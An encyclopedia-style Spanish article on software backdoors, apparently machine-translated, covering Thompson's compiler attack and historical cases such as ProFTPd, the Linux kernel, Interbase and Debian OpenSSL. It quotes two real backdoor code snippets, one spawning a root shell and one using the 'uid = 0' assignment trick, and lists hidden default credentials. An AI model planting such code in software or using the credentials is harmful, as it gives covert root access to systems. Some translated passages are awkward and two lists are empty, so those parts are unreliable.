En software , una puerta trasera (la puerta trasera en inglés , literalmente "puerta trasera") es una función desconocida del usuario legítimo, que da acceso a un software secreto.
La introducción de una puerta trasera en el software sin el conocimiento del usuario convierte al software en un caballo de Troya .
Una puerta trasera puede ser introducida por el desarrollador de software o por un tercero. Cualquiera con conocimiento de la puerta trasera puede usarlo para monitorear la actividad del software e incluso tomar el control de él (sin pasar por la autenticación ). Finalmente, dependiendo del alcance de los derechos que el sistema operativo otorga al software que contiene la puerta trasera, el control puede extenderse a todas las operaciones del dispositivo que ejecuta el software ( computadora , teléfono inteligente , dispositivo de monitoreo, etc., objetos conectados, etc.) .
La red generalizada de dispositivos y computadoras conectados hace que las puertas traseras sean mucho más útiles que cuando el acceso físico a la computadora era la regla.
Entre las motivaciones que llevan a los desarrolladores de software a crear puertas traseras se encuentran:
Entre las motivaciones que llevan a los piratas informáticos a instalar una puerta trasera:
Para instalar puertas traseras en masa, los piratas informáticos utilizan gusanos . Estos se propagan automáticamente e instalan un servidor informático en cada máquina infectada. Luego, el pirata informático puede conectarse a través de Internet al servidor.
También se puede insertar una puerta trasera a través de un huevo de Pascua , un compilador (ver la sección siguiente El caso del compilador de Unix C: Confianza en la confianza ), o puede tomar la forma de un programa, como Back Orifice .
En 1983 , el estadounidense Informático Kenneth Thompson describe, en su conferencia de Turing titulado Reflexiones sobre Confiar Confianza y subtitulado:
“¿Hasta qué punto se debe confiar en una declaración de que un programa está libre de caballos de Troya? Quizás sea más importante confiar en las personas que escribieron el software. "dicho de otro modo :
"¿Cuánto podemos creer que un programa está libre de caballos de Troya?" Probablemente sea más importante creer en las personas que escribieron el software. " ,cómo habría sido posible insertar una puerta trasera en todos los programas C compilados en Unix . Además, dado que las versiones actualizadas de este compilador , que no es más que otro programa compilado, se compilan a partir del compilador de C preexistente, el algoritmo de inserción de puerta trasera habría salido mal. Entonces, si este compilador de puerta trasera hubiera sido "lanzado en la naturaleza" (en inglés : lanzado en la naturaleza ) al principio, entonces cualquier compilador de C insertaría puertas traseras posiblemente hoy.
Tenga en cuenta que la puerta trasera presente en todos los programas C compilados nunca aparecería en el código fuente C.
El término confianza (por confianza ) proviene del hecho de que el usuario final considera que el compilador de C original es una caja negra confiable.
Para un programador que no entiende cómo funciona un compilador de este tipo , pero confía en él, sería difícil pensar que un programa , que él mismo escribió y luego compiló, contiene una puerta trasera.
La 16 de febrero de 2012, se ha revelado una clave secreta para autenticarse como root (Administrador) en la mayoría de los dispositivos vendidos por F5 . El vendedor corrigió la falla en6 de junio de 2012. Esta clave está presente en todos los dispositivos vulnerables, el error recibió un premio Pwnie (en) durante el BlackHat USA 2012 .
La 13 de diciembre de 2010, se encontró una cuenta oculta en el sistema de almacenamiento HP StorageWorks P2000 G3: el nombre de usuario "admin" y la contraseña "! admin" le permiten identificarse con los máximos privilegios. No es posible eliminar esta cuenta, por otro lado es posible cambiar la contraseña usando la línea de comando (comando “ set password admin password ... ”).
La 28 de noviembre de 2010, el tarball de la última versión (1.3.3c) del servidor FTP ProFTPd ha sido reemplazado por una versión que contiene una puerta trasera en el servidor FTP oficial del proyecto. La puerta trasera agrega un comando "HELP ACIDBITCHEZ" que abre un shell como usuario root . El tarball se propagó en todos los espejos oficiales. El compromiso se descubrió en1 st de diciembre de 2010, y corregido en 2 de diciembre. En particular, la puerta trasera agregó la siguiente línea al archivo src / help.c:
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }El atacante irrumpió en el servidor FTP utilizando una falla en el módulo PostgreSQL SQL que permite la ejecución remota de código. Este defecto fue publicado en17 de noviembre de 2010en el número 67 de la revista Phrack . La falla se corrige con la versión 1.3.3d de ProFTPd.
Se han descubierto tres cuentas en un sistema de videoconferencia de Cisco , modelos de videoconferencia unificada de Cisco (UVC), System 5110 y 5115, que utilizan el sistema operativo Linux . Fue Florent Daigniere quien descubrió estas cuentas durante una auditoría y las publicó en la lista de distribución de divulgación completa en17 de noviembre de 2010. Cisco publicó un boletín de seguridad el mismo día. Estas son las cuentas "raíz", "cs" y "desarrollar" que no se pueden modificar ni eliminar. Permiten el acceso remoto a través de los protocolos FTP y SSH . Se descubrieron otras fallas durante esta auditoría.
La 4 de noviembre de 2003, un atacante que se hizo pasar por David S. Miller (desarrollador del kernel) introdujo una puerta trasera en el kernel de Linux directamente en el servidor CVS . Se detectó al día siguiente. El servidor CVS era un espejo del repositorio oficial que usaba BitKeeper . La puerta trasera ha sido injertada de manera muy sintética, consta de dos líneas de lenguaje C , agregadas a la función sys_wait4 del archivo “kernel / exit.c”:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;Se (current->uid = 0)supone que la condición debe ser leída por un lector particularmente ingenuo como una comparación "si el número de usuario del proceso es 0 (raíz)", pero en realidad en C significa que la asignación "el número de usuario del proceso se convierte en 0 (raíz)". El resultado es que si esta función manipulada sys_wait4 () fue llamada con los parámetros __WCLONE | __WALL, el proceso asumió la identidad de root, el nivel de usuario con derechos de acceso total.
Esta modificación tuvo como objetivo aprovechar la confusión entre varios lenguajes de programación, donde el símbolo de la comparación de dos valores es el signo = (Pascal, Ada, ML ...) y otros donde es la doble igualdad la ==que juega este rol (C, C ++, Java ...), el signo = luego significa una asignación de un valor a una variable . Era poco probable que este cambio pasara desapercibido, ya que este tipo de error difícilmente es compatible con el nivel informático de los programadores que trabajan en el kernel de Linux. Siendo el lenguaje C el lenguaje de programación más utilizado en los sistemas de la familia Unix, muy pocos usuarios no principiantes se habrían dejado llevar.
Además, el proceso de desarrollo de software colectivo (especialmente el de software libre) requiere que cada modificación sea validada; debe tener una justificación legítima para ello. Por lo tanto, cualquier modificación, por pequeña que sea, aparece en el diff y plantea preguntas legítimas si no tiene una justificación clara.
_NSAKEY es el nombre de una variable descubierta en agosto de 1999 en el sistema operativo Windows NT 4 (SP5) de Microsoft . Esta versión se publicó sin que se eliminara la información de depuración . La variable descubierta por Andrew D. Fernandes de Cryptonym Corporation contenía una clave pública de 1024 bits . La noticia provocó una protesta pública y la aparición de varios rumores sobre una posible conspiración del gobierno. Si efectivamente la NSA hubiera estado en posesión de la clave secreta correspondiente a la clave presente en Windows NT, habría sido posible encriptar los datos provenientes de los usuarios y, con la complicidad de Microsoft, recuperar esta información.
Se descubrió una puerta trasera en el sistema de gestión de la base de datos de Interbase en10 de enero de 2001, al abrir el código fuente por su editor, Borland . Todo lo que tenía que hacer era ingresar el nombre de usuario "políticamente" y la contraseña "correcta" ( políticamente correcta , literalmente " políticamente correcta " en francés) para conectarse como administrador. Esta puerta trasera se introdujo entre 1992 y 1994. Como esta cuenta no se puede modificar ni eliminar, fue necesario instalar una nueva versión de Interbase que no contuviera esta cuenta oculta.
Los BIOS de algunos fabricantes (los dos principales, AMI y AWARD ) tienen una contraseña oculta para acceder al BIOS incluso si están protegidos por una contraseña elegida por el usuario. La contraseña oculta depende del modelo de BIOS.
En los siguientes casos, una modificación del software introdujo una vulnerabilidad de seguridad, sin que el autor de la modificación lo hubiera hecho intencionalmente. El autor no tenía las habilidades para evaluar que su modificación podría introducir una vulnerabilidad de seguridad, o más simplemente no pensó en el impacto que podría tener en la seguridad del producto.
La 17 de septiembre de 2006, se introdujo involuntariamente una vulnerabilidad de seguridad en la versión Debian de la biblioteca OpenSSL . Fue el mantenedor del paquete OpenSSL, Kurt Roeckx, quien introdujo el2 de mayo de 2006una falla de seguridad en OpenSSL al intentar corregir una advertencia de la herramienta Valgrind , que de hecho era un falso positivo. El hecho de que el cambio introdujera una vulnerabilidad de seguridad no es intencional: Kurt Roeckx se puso en contacto con los desarrolladores de OpenSSL para pedir consejo, pero se produjo confusión. La primera versión vulnerable, 0.9.8c-1, se descargó en la distribución inestable en17 de septiembre de 2006. La falla se encontró enMayo de 2008 y corregido en 13 de mayo de 2008.
El cambio a OpenSSL redujo la entropía del generador de números aleatorios a solo unos 15 bits: solo se utilizó el identificador de proceso (PID). Un identificador puede tener un valor entre 1 y PID_MAX (32768), lo que proporciona solo 32,767 semillas posibles. A nivel de las claves de cifrado, hay tres veces más, 98.301, porque la generación de las claves depende de la arquitectura, y en este caso entran en juego 3 arquitecturas diferentes (little-endian 32 bits, little-endian 64 bits y Big-endian de 32 bits).
El instalador del sistema operativo Ubuntu , en su versión 5.10 (Breezy Badger, lanzado el13 de octubre de 2005), escribió la contraseña del usuario root en varios archivos de registro legibles por cualquier usuario. El error fue encontrado por Karl Øie en12 de marzo de 2006, luego corregido el mismo día. Este error permite a un usuario local elevar sus privilegios . Es más probable que se trate de un descuido de los programadores del instalador que de una infracción de seguridad introducida deliberadamente.
El escenario de la película estadounidense WarGames se basa en una puerta trasera. El diseñador de un sistema informático militar inserta una puerta trasera en forma de contraseña no documentada que le da acceso. Esta contraseña también proporciona acceso a la funcionalidad del programa no documentado, lo que hace que el sistema de control de armas parezca un videojuego de simulación de guerra.
En la película Tron: The Legacy, Sam Flynn irrumpe en la cuadrícula usando una identificación de puerta trasera.
En la serie Person of Interest , una puerta trasera implantada en un sistema de vigilancia masiva propiedad del gobierno llamado la Máquina permite que dos hombres lo usen de forma encubierta.
En el videojuego Watch Dogs 2 , Marcus Holloway inyecta una puerta trasera en el CtOS 2.0.